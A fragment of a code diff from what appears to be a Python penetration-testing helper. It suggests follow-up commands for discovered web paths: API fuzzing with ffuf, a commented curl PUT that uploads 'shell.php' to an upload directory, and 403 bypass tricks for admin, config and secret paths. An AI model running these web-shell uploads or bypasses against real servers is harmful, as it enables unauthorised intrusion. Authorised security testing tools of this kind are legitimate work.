386
+ )
387
+
388
+ # API endpoints
389
+ if api_paths:
390
+ next_steps.append(
391
+ {
392
+ "title": "Enumerate API endpoints",
393
+ "commands": [
394
+ f'curl -s "{api_paths[0]}" | jq .',
395
+ f'ffuf -u "{base_url}/api/FUZZ" -w data/wordlists/api_endpoints_large.txt',
396
+ ],
397
+ "reason": f"Found {len(api_paths)} API endpoint(s) - test for auth bypass, IDOR, injection",
398
+ }
399
+ )
400
+
401
+ # Upload directories
402
+ if upload_paths:
403
+ next_steps.append(
404
+ {
405
+ "title": "Check upload directory for unrestricted file upload",
406
+ "commands": [
407
+ f'curl -s "{upload_paths[0]}"',
408
+ f'# If writable, test: curl -X PUT -d "@shell.php" "{upload_paths[0]}/shell.php"',
409
+ ],
410
+ "reason": f"Found upload directory - check for directory listing and file upload vulnerabilities",
411
+ }
412
+ )
413
+
414
+ # If we found interesting 403 paths, suggest bypass techniques
415
+ forbidden_paths = [p for p in paths if p.get("status_code") == 403]
416
+ interesting_forbidden = [
417
+ p
418
+ for p in forbidden_paths
419
+ if any(
420
+ kw in p.get("path", "").lower()
421
+ for kw in [
422
+ "admin",
423
+ "api",
424
+ "config",
425
+ "backup",
426
+ "internal",
427
+ "private",
428
+ "secret",
429
+ ]
430
+ )
431
+ ]
432
+ if interesting_forbidden:
433
+ example = interesting_forbidden[0].get("url", "")
434
+ next_steps.append(
435
+ {
436
+ "title": "403 bypass techniques for restricted paths",
437
+ "commands": [
438
+ f'# Try path traversal: curl "{example}..;/"',
439
+ f'# Try header bypass: curl -H "X-Original-URL: {interesting_forbidden[0].get("path", "")}" "{base_url}"',
440
+ f'# Try method override: curl -X POST "{example}"',
441
+ ],
442
+ "reason": f"Found {len(interesting_forbidden)} interesting 403 path(s) - worth trying bypass techniques",
443
+ }
444
+ )
445
+
446
+ return next_steps